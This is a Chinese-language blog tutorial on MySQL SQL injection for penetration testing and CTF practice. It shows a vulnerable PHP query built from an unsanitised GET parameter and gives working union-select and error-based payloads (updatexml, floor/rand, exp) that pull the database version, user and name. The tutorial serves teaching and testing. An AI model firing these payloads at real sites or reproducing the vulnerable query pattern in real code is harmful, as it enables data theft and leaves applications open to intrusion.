渗透测试和CTF中SQL注入攻击

27 篇文章 0 订阅
19 篇文章 0 订阅

渗透测试和CTF中SQL注入攻击

本文内容主要基于MySQL的注入

首先,SQL注入的成因:开发人员在开发过程中,直接将URL中的参数,HTTP Body中的POST参数或其它外来的用户输入(如Cookies、User-Agent等)与SQL语句进行拼接,造成待执行的SQL语句可控,从而使我们可以执行任意SQL语句

常见SQL注入的分类

(1)可回显的注入
联合查询注入
报错注入
通过注入进行DNS请求,从而达到可回显的目的

(2)不可回显的注入
bool盲注
时间盲注

(3)二次注入
一般需要自己编写脚本已实现自动化注入

可以联合查询的SQL注入

在可以联合查询的题目中,一般会将数据库查询的数据回显到页面中
源代码类似如下:

<?php
	...
	$id = $_GET['id'];
	$getid = "SELECT ID FROM users WHERE user_id='$id'";
	...

此时,$id变量会将id获取到的参数直接拼接到SQL语句中
Payload如下:

?id=-1'+union+select+1+--+

闭合掉前面的单引号,注释掉后面的单引号

报错注入

主要有三种MySQL数据库报错注入的方法,分别是updatexml,floor和exp

  1. updatexml
    updatexml的报错原理从本质上来说就是函数的报错
    以前面的源代码为例:
<?php
	...
	$id = $_GET['id'];
	$getid = "SELECT ID FROM users WHERE user_id='$id'";
	...

Payload可以如下:

?id=1'+updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)%23
  1. floor
    floor报错的原理是rand和order by或group by的冲突
    还是以上面的源代码为例,
    爆破数据库版本信息的Payload如下:
?id=1'+and(select 1 from (select count(*),concat((select (select (select concat(0x7e, version(),0x7e))) from information_schema.tables limit 0,1), floor(rand(0)*2)) x from information_schema.tables group by x)a)%23

爆破当前用户的Payload:
将上面的payload中的version()改为user()

爆破当前使用的数据库Payload:
将上面的payload中的version()改为database()

  1. exp
    exp报错的本质原因是溢出报错
    以一开始的源代码为例:
    Payload为:
?id=1' and exp(~(select * from (select user())x))%23
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值